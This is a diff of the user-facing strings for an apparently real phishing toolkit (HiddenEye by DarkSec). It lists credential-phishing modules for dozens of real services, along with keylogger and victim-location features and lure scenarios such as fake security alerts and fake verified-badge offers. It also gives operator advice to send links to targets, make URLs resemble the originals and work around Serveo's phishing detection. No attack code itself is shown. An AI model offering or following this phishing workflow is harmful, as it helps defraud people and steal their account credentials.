# version = ver_current.strip() # TO-DO
|
||||
return f.read().strip()
|
||||
|
||||
|
||||
version = check_version()
|
||||
|
||||
lang_start_main_menu = {
|
||||
"version_by_darksec": _(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}").format(default_palette[4], default_palette[2], default_palette[0], version),
|
||||
"short_description": _("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(default_palette[2],default_palette[0]),
|
||||
"features_summary" : _("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]").format(default_palette[2], default_palette[0]),
|
||||
"down_line" : "{0}________________________________________________________________________________".format(default_palette[0]),
|
||||
"attack_vector_message" : _("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"),
|
||||
"phishing_modules_header" : _("\n{0}PHISHING-MODULES:").format(default_palette[0]),
|
||||
"phishing_modules_list" :
|
||||
[ ['{0}[{1}01{0}]{1} Facebook', '{0}[{1}13{0}]{1} Steam', '{0}[{1}25{0}]{1} Badoo', '{0}[{1}37{0}]{1} PlayStation'],
|
||||
['{0}[{1}02{0}]{1} Google', '{0}[{1}14{0}]{1} VK', '{0}[{1}26{0}]{1} CryptoCurrency', '{0}[{1}38{0}]{1} Xbox'],
|
||||
['{0}[{1}03{0}]{1} LinkedIn', '{0}[{1}15{0}]{1} iCloud', '{0}[{1}27{0}]{1} DevianArt', '{0}[{1}39{0}]{1} CUSTOM(1)'],
|
||||
['{0}[{1}04{0}]{1} GitHub', '{0}[{1}16{0}]{1} GitLab', '{0}[{1}28{0}]{1} DropBox', '{0}[{1}40{0}]{1} CUSTOM(2)'],
|
||||
['{0}[{1}05{0}]{1} StackOverflow', '{0}[{1}17{0}]{1} Netflix', '{0}[{1}29{0}]{1} eBay'],
|
||||
['{0}[{1}06{0}]{1} WordPress', '{0}[{1}18{0}]{1} Origin', '{0}[{1}30{0}]{1} MySpace'],
|
||||
['{0}[{1}07{0}]{1} Twitter', '{0}[{1}19{0}]{1} Pinterest', '{0}[{1}31{0}]{1} PayPal'],
|
||||
['{0}[{1}08{0}]{1} Instagram', '{0}[{1}20{0}]{1} ProtonMail', '{0}[{1}32{0}]{1} Shopify'],
|
||||
['{0}[{1}09{0}]{1} Snapchat', '{0}[{1}21{0}]{1} Spotify', '{0}[{1}33{0}]{1} Verizon'],
|
||||
['{0}[{1}10{0}]{1} Yahoo', '{0}[{1}22{0}]{1} Quora', '{0}[{1}34{0}]{1} Yandex'],
|
||||
['{0}[{1}11{0}]{1} Twitch', '{0}[{1}23{0}]{1} PornHub', '{0}[{1}35{0}]{1} Reddit'],
|
||||
['{0}[{1}12{0}]{1} Microsoft', '{0}[{1}24{0}]{1} Adobe', '{0}[{1}36{0}]{1} Subito.it']],
|
||||
"additional_modules" : _("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
|
||||
"additional_modules_list" :
|
||||
[ [_('{0}[{1}0A{0}]{1} Get Victim Location')]],
|
||||
"operation_mode" : _("\nOperation mode:\n"),
|
||||
"facebook_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)')],
|
||||
[_('{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)'), _('{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)')]],
|
||||
"google_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} New Google Web')],
|
||||
[_('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
|
||||
"instagram_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing'), _('{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)')],
|
||||
[_('{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)'), _('{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)')],
|
||||
[_('{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)')]],
|
||||
"VK_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} Standard VK Web Page Phishing'), _('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]],
|
||||
"reddit_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} New reddit page'), _('{0}[{1}2{0}]{1} Old reddit page')]],
|
||||
"additional_module_location_operation_modes" :
|
||||
[ [_('{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)'), _('{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)')]]
|
||||
|
||||
|
||||
"version_by_darksec":
|
||||
_(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}"
|
||||
).format(default_palette[4], default_palette[2], default_palette[0],
|
||||
version),
|
||||
"short_description":
|
||||
_("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(
|
||||
default_palette[2], default_palette[0]),
|
||||
"features_summary":
|
||||
_("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]"
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"down_line":
|
||||
"{0}________________________________________________________________________________"
|
||||
.format(default_palette[0]),
|
||||
"attack_vector_message":
|
||||
_("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"
|
||||
),
|
||||
"phishing_modules_header":
|
||||
_("\n{0}PHISHING-MODULES:").format(default_palette[0]),
|
||||
"phishing_modules_list": [
|
||||
[
|
||||
"{0}[{1}01{0}]{1} Facebook",
|
||||
"{0}[{1}13{0}]{1} Steam",
|
||||
"{0}[{1}25{0}]{1} Badoo",
|
||||
"{0}[{1}37{0}]{1} PlayStation",
|
||||
],
|
||||
[
|
||||
"{0}[{1}02{0}]{1} Google",
|
||||
"{0}[{1}14{0}]{1} VK",
|
||||
"{0}[{1}26{0}]{1} CryptoCurrency",
|
||||
"{0}[{1}38{0}]{1} Xbox",
|
||||
],
|
||||
[
|
||||
"{0}[{1}03{0}]{1} LinkedIn",
|
||||
"{0}[{1}15{0}]{1} iCloud",
|
||||
"{0}[{1}27{0}]{1} DevianArt",
|
||||
"{0}[{1}39{0}]{1} CUSTOM(1)",
|
||||
],
|
||||
[
|
||||
"{0}[{1}04{0}]{1} GitHub",
|
||||
"{0}[{1}16{0}]{1} GitLab",
|
||||
"{0}[{1}28{0}]{1} DropBox",
|
||||
"{0}[{1}40{0}]{1} CUSTOM(2)",
|
||||
],
|
||||
[
|
||||
"{0}[{1}05{0}]{1} StackOverflow",
|
||||
"{0}[{1}17{0}]{1} Netflix",
|
||||
"{0}[{1}29{0}]{1} eBay",
|
||||
],
|
||||
[
|
||||
"{0}[{1}06{0}]{1} WordPress",
|
||||
"{0}[{1}18{0}]{1} Origin",
|
||||
"{0}[{1}30{0}]{1} MySpace",
|
||||
],
|
||||
[
|
||||
"{0}[{1}07{0}]{1} Twitter",
|
||||
"{0}[{1}19{0}]{1} Pinterest",
|
||||
"{0}[{1}31{0}]{1} PayPal",
|
||||
],
|
||||
[
|
||||
"{0}[{1}08{0}]{1} Instagram",
|
||||
"{0}[{1}20{0}]{1} ProtonMail",
|
||||
"{0}[{1}32{0}]{1} Shopify",
|
||||
],
|
||||
[
|
||||
"{0}[{1}09{0}]{1} Snapchat",
|
||||
"{0}[{1}21{0}]{1} Spotify",
|
||||
"{0}[{1}33{0}]{1} Verizon",
|
||||
],
|
||||
[
|
||||
"{0}[{1}10{0}]{1} Yahoo", "{0}[{1}22{0}]{1} Quora",
|
||||
"{0}[{1}34{0}]{1} Yandex"
|
||||
],
|
||||
[
|
||||
"{0}[{1}11{0}]{1} Twitch",
|
||||
"{0}[{1}23{0}]{1} PornHub",
|
||||
"{0}[{1}35{0}]{1} Reddit",
|
||||
],
|
||||
[
|
||||
"{0}[{1}12{0}]{1} Microsoft",
|
||||
"{0}[{1}24{0}]{1} Adobe",
|
||||
"{0}[{1}36{0}]{1} Subito.it",
|
||||
],
|
||||
],
|
||||
"additional_modules":
|
||||
_("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
|
||||
"additional_modules_list": [[_("{0}[{1}0A{0}]{1} Get Target Location")]],
|
||||
"operation_mode":
|
||||
_("\nOperation mode:\n"),
|
||||
"facebook_operation_modes": [
|
||||
[
|
||||
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
|
||||
_("{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)"
|
||||
),
|
||||
],
|
||||
[
|
||||
_("{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)"
|
||||
),
|
||||
_("{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
|
||||
),
|
||||
],
|
||||
],
|
||||
"google_operation_modes": [
|
||||
[
|
||||
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
|
||||
_("{0}[{1}3{0}]{1} New Google Web"),
|
||||
],
|
||||
[_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)")],
|
||||
],
|
||||
"instagram_operation_modes": [
|
||||
[
|
||||
_("{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing"),
|
||||
_("{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)"
|
||||
),
|
||||
],
|
||||
[
|
||||
_("{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
|
||||
),
|
||||
_("{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)"),
|
||||
],
|
||||
[
|
||||
_("{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)"
|
||||
)
|
||||
],
|
||||
],
|
||||
"VK_operation_modes": [[
|
||||
_("{0}[{1}1{0}]{1} Standard VK Web Page Phishing"),
|
||||
_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)"),
|
||||
]],
|
||||
"reddit_operation_modes": [[
|
||||
_("{0}[{1}1{0}]{1} New reddit page"),
|
||||
_("{0}[{1}2{0}]{1} Old reddit page")
|
||||
]],
|
||||
"additional_module_location_operation_modes": [[
|
||||
_("{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)"),
|
||||
_("{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)"
|
||||
),
|
||||
]],
|
||||
}
|
||||
lang_start_phishing_page = {
|
||||
"custom_folder_directory" : _('\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}').format(default_palette[0], default_palette[4], page = 'page'),
|
||||
"manual_reading_suggestion" : _('\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]').format(default_palette[0], default_palette[4], page = 'page'),
|
||||
"press_enter_to_contunue_if_setup_correctly" : _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]),
|
||||
"copying_your_files" : _('\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...').format(default_palette[0], default_palette[4]),
|
||||
"https_suggestion" : _("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n").format(default_palette[0], default_palette[4]),
|
||||
"gdrive_suggestion" : _('{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.').format(default_palette[0], default_palette[4])
|
||||
"custom_folder_directory":
|
||||
_("\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}").
|
||||
format(default_palette[0], default_palette[4], page="page"),
|
||||
"manual_reading_suggestion":
|
||||
_("\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]"
|
||||
).format(default_palette[0], default_palette[4], page="page"),
|
||||
"press_enter_to_continue_if_setup_correctly":
|
||||
_("\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue."
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
"copying_your_files":
|
||||
_("\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"https_suggestion":
|
||||
_("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n"
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
"gdrive_suggestion":
|
||||
_("{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked."
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
}
|
||||
|
||||
lang_enter_custom_redirecting_url = {
|
||||
"enter_redirecting_url_header" : _('{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"enter_redirecting_url_prompt" : _('\n{0}[{1}*{0}]Insert a custom redirect url:').format(default_palette[0], default_palette[4]),
|
||||
"redirect_here" : _('\n{0}REDIRECT HERE>>> {1}').format(default_palette[0], default_palette[2])
|
||||
"enter_redirecting_url_header":
|
||||
_("{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"enter_redirecting_url_prompt":
|
||||
_("\n{0}[{1}*{0}]Insert a custom redirect url:").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"redirect_here":
|
||||
_("\n{0}REDIRECT HERE>>> {1}").format(default_palette[0],
|
||||
default_palette[2]),
|
||||
}
|
||||
|
||||
|
||||
#
|
||||
#
|
||||
|
|
|
@ -4,52 +4,115 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
lang_server_selection = {
|
||||
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
|
||||
"servers_list" :
|
||||
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
|
||||
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
|
||||
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
|
||||
['{0}[{1}03{0}]{1}Localxpose (not working now)']]
|
||||
"server_selection":
|
||||
_("{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_server":
|
||||
_("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"servers_list": [
|
||||
[
|
||||
"{0}[{1}00{0}]{1}Localhost",
|
||||
"{0}[{1}04{0}]{1}Localtunnel (not working now)"
|
||||
],
|
||||
[
|
||||
"{0}[{1}01{0}]{1}Ngrok",
|
||||
"{0}[{1}05{0}]{1}OpenPort (not working now)"
|
||||
],
|
||||
[
|
||||
"{0}[{1}02{0}]{1}Serveo",
|
||||
"{0}[{1}06{0}]{1}Pagekite (not working now)"
|
||||
],
|
||||
["{0}[{1}03{0}]{1}Localxpose (not working now)"],
|
||||
],
|
||||
}
|
||||
|
||||
lang_start_localhost = {
|
||||
"localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"your_localhost_is" : _('Your Localhost is '),
|
||||
"starting_server_on_addr" : _('\n[*] Starting Server On Address:: {0}:{1}'),
|
||||
"running_localhost_server" : _('\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK').format(default_palette[0], default_palette[2]),
|
||||
"localhost_url" : _('\n{0}[{1}*{0}]{1} Localhost URL: {2}http://').format(default_palette[2], default_palette[3], default_palette[3])
|
||||
"localhost_server":
|
||||
_("\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------").
|
||||
format(default_palette[0], default_palette[2]),
|
||||
"your_localhost_is":
|
||||
_("Your Localhost is "),
|
||||
"starting_server_on_addr":
|
||||
_("\n[*] Starting Server On Address:: {0}:{1}"),
|
||||
"running_localhost_server":
|
||||
_("\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"localhost_url":
|
||||
_("\n{0}[{1}*{0}]{1} Localhost URL: {2}http://").format(
|
||||
default_palette[2], default_palette[3], default_palette[3]),
|
||||
}
|
||||
|
||||
lang_start_ngrok = {
|
||||
"ngrok_server" : _('\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion" : _("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(default_palette[0], default_palette[2]),
|
||||
"ngrok_url" : _('\n{0}[{1}*{0}]{1} NGROK URL: {2}').format(default_palette[0], default_palette[2], default_palette[3])
|
||||
"ngrok_server":
|
||||
_("\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"ngrok_url":
|
||||
_("\n{0}[{1}*{0}]{1} NGROK URL: {2}").format(default_palette[0],
|
||||
default_palette[2],
|
||||
default_palette[3]),
|
||||
}
|
||||
|
||||
lang_start_serveo = {
|
||||
"serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"serveo_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]),
|
||||
"make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]),
|
||||
"insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]),
|
||||
"serveo_url" : _('\n{0}[{1}*{0}]{1} SERVEO URL: {2}').format(default_palette[0], default_palette[4], default_palette[3]),
|
||||
"failed_to_get_domain" : _('\n{0}FAILED TO GET THIS DOMAIN.').format(default_palette[0]),
|
||||
"suggestion_to_fix_issue" : _('\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE.').format(default_palette[0]),
|
||||
"you_can_try_to_select_other_domain" : _('\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...').format(default_palette[0], default_palette[4]),
|
||||
"serveo_url_option_selection" : _('\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"serveo_phishing_warning" : _('\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful.').format(default_palette[0], default_palette[2]),
|
||||
"choose_type_of_url" : _('\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}').format(default_palette[0], default_palette[2]),
|
||||
"url_types" :
|
||||
[ ['{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)'],
|
||||
['{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)'] ],
|
||||
"serveo_is_down" : _('{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}').format(default_palette[0], default_palette[2])
|
||||
}
|
||||
"serveo_random_server":
|
||||
_("\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"serveo_custom_server":
|
||||
_("\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"send_this_url_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"make_url_simmilar_to_real_suggestion":
|
||||
_("\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"insert_custom_subdomain":
|
||||
_("\n{0}Insert a custom subdomain for serveo").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"serveo_url":
|
||||
_("\n{0}[{1}*{0}]{1} SERVEO URL: {2}").format(default_palette[0],
|
||||
default_palette[4],
|
||||
default_palette[3]),
|
||||
"failed_to_get_domain":
|
||||
_("\n{0}FAILED TO GET THIS DOMAIN.").format(default_palette[0]),
|
||||
"suggestion_to_fix_issue":
|
||||
_("\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
|
||||
).format(default_palette[0]),
|
||||
"you_can_try_to_select_other_domain":
|
||||
_("\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...").
|
||||
format(default_palette[0], default_palette[4]),
|
||||
"serveo_url_option_selection":
|
||||
_("\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"serveo_phishing_warning":
|
||||
_("\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful."
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"choose_type_of_url":
|
||||
_("\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"url_types": [
|
||||
["{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)"],
|
||||
["{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"],
|
||||
],
|
||||
"serveo_is_down":
|
||||
_("{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_rand_localxpose = {
|
||||
"localxpose_random_server":
|
||||
_("\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2])
|
||||
}
|
||||
|
|
|
@ -4,78 +4,139 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
text_to_confirm_license = _('Yes, i do')
|
||||
text_to_confirm_license = _("Yes, i do")
|
||||
|
||||
write_eula = _("""
|
||||
# To Accept EULA set eula to True
|
||||
# Don't accept EULA if you didn't read LICENSE
|
||||
|
||||
|
||||
""")
|
||||
|
||||
lang_check_php = {
|
||||
"found" : _('\n {0}[{1}*{0}] PHP has been found. Proceeding.').format(default_palette[0], default_palette[2]),
|
||||
"not-found" : _('\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.').format(default_palette[0], default_palette[2])
|
||||
"found":
|
||||
_("\n {0}[{1}*{0}] PHP has been found. Proceeding.").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"not-found":
|
||||
_("\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.").
|
||||
format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_check_permissions = {
|
||||
"permissions_granted" : _('{0}Permissions granted!').format(default_palette[0]),
|
||||
"permissions_denied" : _('{0}Permissions denied! Please run as {1}sudo{0}').format(default_palette[0], default_palette[2]),
|
||||
"windows_warning" : _("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system.").format(default_palette[0], default_palette[2])
|
||||
"permissions_granted":
|
||||
_("{0}Permissions granted!").format(default_palette[0]),
|
||||
"permissions_denied":
|
||||
_("{0}Permissions denied! Please run as {1}sudo{0}").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"windows_warning":
|
||||
_("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system."
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_verify_connection = {
|
||||
"connected" : _('\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]').format(default_palette[0], default_palette[2]),
|
||||
"disconnected" : _('\n {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]').format(default_palette[0], default_palette[2]),
|
||||
"verify_your_connection" : _('\n{0}[{1}!{0}] Network error. Please verify your internet connection.').format(default_palette[2], default_palette[0])
|
||||
"connected":
|
||||
_("\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"disconnected":
|
||||
_("\n{0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"verify_your_connection":
|
||||
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet.").
|
||||
format(default_palette[2], default_palette[0]),
|
||||
"continue_warning":
|
||||
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection."
|
||||
).format(default_palette[2], default_palette[0]),
|
||||
"continue_confirmation":
|
||||
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
|
||||
default_palette[2], default_palette[0]),
|
||||
}
|
||||
|
||||
lang_module_loading_message = {
|
||||
"select_any_mode" : _('\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------').format(default_palette[0], default_palette[2])
|
||||
"is_loaded":
|
||||
_("{0} IS LOADED...{0}\n--------------------------------").format(
|
||||
default_palette[0], default_palette[2]),
|
||||
"select_any_mode":
|
||||
_("\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
}
|
||||
|
||||
lang_get_ip_addr = {
|
||||
"unable_to_get_ip" : 'Unable to get Hostname and IP'
|
||||
}
|
||||
lang_get_ip_addr = {"unable_to_get_ip": "Unable to get Hostname and IP"}
|
||||
|
||||
lang_port_selector = {
|
||||
"website_port_selection" : _('\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_port" : _("\n {0}[{1}*{0}]Select Port [1-65535]:{1}").format(default_palette[0], default_palette[4]),
|
||||
"port_suggestion" : _('\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want.').format(default_palette[0], default_palette[4])
|
||||
"website_port_selection":
|
||||
_("\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------"
|
||||
).format(default_palette[0], default_palette[2]),
|
||||
"select_any_available_port":
|
||||
_("\n {0}[{1}*{0}] Select Port [1-65535]:{1}").format(
|
||||
default_palette[0], default_palette[4]),
|
||||
"port_suggestion":
|
||||
_("\n {0}[{1}*{0}] We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
|
||||
).format(default_palette[0], default_palette[4]),
|
||||
}
|
||||
|
||||
lang_exit_message = {
|
||||
"choice" : _('\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}').format(default_palette[0], default_palette[4], default_palette[2]),
|
||||
"help_to_improve_this_tool" : _('{1} [[*]] {0}You always can help to improve this tool and support us. {0}').format(default_palette[2], default_palette[0]),
|
||||
"tell_if_page_got_broken" : _('{0}[{1}!{0}] If any phishing page got broken, please let us know.').format(default_palette[2], default_palette[0]),
|
||||
"make_your_pull_request_or_issue" : _('{0}[{1}!{0}] You can create issue or pull request on our GitHub page.').format(default_palette[2], default_palette[0]),
|
||||
"small_disclaimer_suggestion" : _("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use.").format(default_palette[2], default_palette[0]),
|
||||
"forum_suggestion" : _('{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help.').format(default_palette[2], default_palette[0]),
|
||||
"financial_support" : _("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)").format(default_palette[2], default_palette[0]),
|
||||
"thank_you" : _('{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!').format(default_palette[2], default_palette[0])
|
||||
"choice":
|
||||
